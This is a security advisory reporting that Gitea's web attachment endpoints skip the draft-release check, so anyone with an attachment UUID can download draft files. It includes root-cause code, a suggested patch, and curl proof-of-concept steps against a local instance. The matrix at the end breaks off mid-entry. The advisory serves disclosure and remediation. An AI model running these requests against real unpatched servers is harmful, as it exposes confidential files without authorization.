Résumé

Gitea: draft release attachment disclosure via missing web authorization

Détails de l’avis

Summary

Gitea's draft-release access control is enforced only on the API release endpoints (/api/v1/repos/{owner}/{repo}/releases/{id} and its /assets/... sub-routes) but not on the web-level UUID-based attachment endpoints (/attachments/{uuid}, /{owner}/{repo}/attachments/{uuid}, /{owner}/{repo}/releases/attachments/{uuid}). Anyone (including unauthenticated callers) who has, learns, or otherwise obtains the UUID of an attachment belonging to a draft release can download its full contents, despite the draft release itself being correctly hidden from listings and direct-by-ID API lookups.

The browser_download_url field returned by the API (visible to anyone with write access to the repo) embeds the UUID. Forwarding this URL by email, log scrape, browser history, screenshot, or any side channel grants any recipient unauthenticated access to the attachment, indefinitely. This is the identical insider-leak threat model that Gitea fixed on the API surface in PR #36659 (CVE-2026-27660, Feb 2026) by adding canAccessReleaseDraft checks. The web mirror was missed.

Details

Root cause: the web-side handler ServeAttachment (routers/web/repo/attachment.go:122-203) checks only repo-level unit-read permission, never the IsDraft flag of the linked release:

// routers/web/repo/attachment.go:122-203, current implementation
func ServeAttachment(ctx *context.Context, uuid string) {
    attach, err := repo_model.GetAttachmentByUUID(ctx, uuid)
    if err != nil { ... }

    // cross-repo guard (only fires when accessed via repo-scoped URL)
    if attach.CreatedUnix > repo_model.LegacyAttachmentMissingRepoIDCutoff &&
       ctx.Repo.Repository != nil && ctx.Repo.Repository.ID != attach.RepoID {
        ctx.HTTPError(http.StatusNotFound)
        return
    }

    unitType, repoID, err := repo_service.GetAttachmentLinkedTypeAndRepoID(ctx, attach)
    if unitType == unit.TypeInvalid {
        if !(ctx.IsSigned && attach.UploaderID == ctx.Doer.ID) {
            ctx.HTTPError(http.StatusNotFound)
            return
        }
    } else {
        var perm access_model.Permission
        // ... resolves repo perm
        if !perm.CanRead(unitType) {       // <-- ONLY check
            ctx.HTTPError(http.StatusNotFound)
            return
        }
        // NO release.IsDraft check
        // NO canAccessReleaseDraft equivalent
    }
    // ... serves the file
}

The helper GetAttachmentLinkedTypeAndRepoID (services/repository/repository.go:185-207) returns (unit.TypeReleases, rel.RepoID) for release-linked attachments but discards the release object (including its IsDraft flag) before returning.

Mounted routes affected (all reach ServeAttachment via GetAttachment):

File:line Route Auth gate
routers/web/web.go:874 GET /attachments/{uuid} (top-level) optionsCorsHandler() + webAuth.AllowBasic + webAuth.AllowOAuth2, accepts anonymous
routers/web/web.go:1284 GET /{owner}/{repo}/attachments/{uuid} (issue-context) repo context, anonymous OK
routers/web/web.go:1473 GET /{owner}/{repo}/releases/attachments/{uuid} (release-context) webAuth.AllowBasic + webAuth.AllowOAuth2, anonymous OK
routers/web/web.go:1491 GET /{owner}/{repo}/attachments/{uuid} (legacy compatibility) webAuth.AllowBasic + webAuth.AllowOAuth2, anonymous OK

Reference: existing fix on the API surface (PR #36659, commit 1eced4a7c0, Feb 22 2026):

// routers/api/v1/repo/release.go:24-37, added by PR #36659
func canAccessReleaseDraft(ctx *context.APIContext) bool {
    if !ctx.IsSigned || !ctx.Repo.Permission.CanWrite(unit.TypeReleases) {
        return false
    }
    // ... API-token scope check
}

canAccessReleaseDraft is called from GetRelease (line 80), ListReleases (line 178), GetReleaseAttachment (release_attachment.go:37), and ListReleaseAttachments (line 148). Every API code path now gates draft visibility on write access. The web-side ServeAttachment was not updated; it continues to gate only on read access, allowing anonymous and non-collaborator reads.

Suggested patch at routers/web/repo/attachment.go:166-172, extending the existing permission check to also gate draft releases on write access:

} else { // linked attachment
    var perm access_model.Permission
    if ctx.Repo.Repository == nil {
        repo, err := repo_model.GetRepositoryByID(ctx, repoID)
        if err != nil { ... }
        perm, err = access_model.GetDoerRepoPermission(ctx, repo, ctx.Doer)
        if err != nil { ... }
    } else {
        perm = ctx.Repo.Permission
    }

    if !perm.CanRead(unitType) {
        ctx.HTTPError(http.StatusNotFound)
        return
    }

    // NEW: if linked to a draft release, require write access to releases
    if unitType == unit.TypeReleases && attach.ReleaseID != 0 {
        rel, err := repo_model.GetReleaseByID(ctx, attach.ReleaseID)
        if err == nil && rel.IsDraft && !perm.CanWrite(unit.TypeReleases) {
            ctx.HTTPError(http.StatusNotFound)
            return
        }
    }
}

Alternatively, GetAttachmentLinkedTypeAndRepoID could return the linked release object so the caller does not need a second DB read.

PoC

Tested against v1.27.0+dev-228-ga564f0587a (commit a564f0587a), default configuration, local-storage attachments.

Setup:

  • alice owns public repo alice/alice-pub
  • carol is a registered user with no relationship to alice (no collaboration, no org membership)

Step 1: alice creates a confidential draft release and uploads a sensitive file:

$ DRAFT=$(curl -s -H "Authorization: token $ALICE_TOKEN" -H 'Content-Type: application/json' \
    -d '{"tag_name":"v1.0-CONFIDENTIAL","target_commitish":"main",
         "name":"INTERNAL PREVIEW","body":"unreleased build",
         "draft":true,"prerelease":false}' \
    http://127.0.0.1:3000/api/v1/repos/alice/alice-pub/releases)
$ DID=$(echo "$DRAFT" | jq -r .id)         # e.g. 15

$ echo "TOP_SECRET_BUILD_ARTIFACT" > confidential.txt
$ ATT=$(curl -s -H "Authorization: token $ALICE_TOKEN" \
    -F "attachment=@confidential.txt;filename=confidential.txt" \
    http://127.0.0.1:3000/api/v1/repos/alice/alice-pub/releases/$DID/assets)
$ UUID=$(echo "$ATT" | jq -r .uuid)
$ ATT_ID=$(echo "$ATT" | jq -r .id)
# UUID: a4701819-6f12-42e4-82fb-14b2a1191e8a
# browser_download_url returned: http://127.0.0.1:3000/attachments/<UUID>

Step 2: non-collaborator carol cannot see the draft via the API (correct):

$ curl -s -o /dev/null -w '%{http_code}\n' \
    -H "Authorization: token $CAROL_TOKEN" \
    http://127.0.0.1:3000/api/v1/repos/alice/alice-pub/releases/$DID/assets/$ATT_ID
404

Step 3: but carol (and even anonymous callers) CAN download via UUID-based web endpoints:

# (C) carol, top-level
$ curl -s -H "Authorization: token $CAROL_TOKEN" \
    http://127.0.0.1:3000/attachments/$UUID
TOP_SECRET_BUILD_ARTIFACT          # <-- 200 OK, full content

# (D) carol, repo-scoped legacy
$ curl -s -H "Authorization: token $CAROL_TOKEN" \
    http://127.0.0.1:3000/alice/alice-pub/attachments/$UUID
TOP_SECRET_BUILD_ARTIFACT          # <-- 200 OK

# (E) carol, release-scoped web
$ curl -s -H "Authorization: token $CAROL_TOKEN" \
    http://127.0.0.1:3000/alice/alice-pub/releases/attachments/$UUID
TOP_SECRET_BUILD_ARTIFACT          # <-- 200 OK

# (G) anonymous, top-level (NO auth header)
$ curl -s http://127.0.0.1:3000/attachments/$UUID
TOP_SECRET_BUILD_ARTIFACT          # <-- 200 OK, no auth needed at all

# (H) anonymous, repo-scoped legacy
$ curl -s http://127.0.0.1:3000/alice/alice-pub/attachments/$UUID
TOP_SECRET_BUILD_ARTIFACT          # <-- 200 OK

Verdict matrix:

Endpoint Carol (auth, non-collab) Anonymous
API /api/v1/.../releases/{id}/assets/{aid} 404 (gated) 404 (gated)
API /api/v1/.../releases/{id}/assets 404 (gated) 404 (gated)
Web `/atta

Références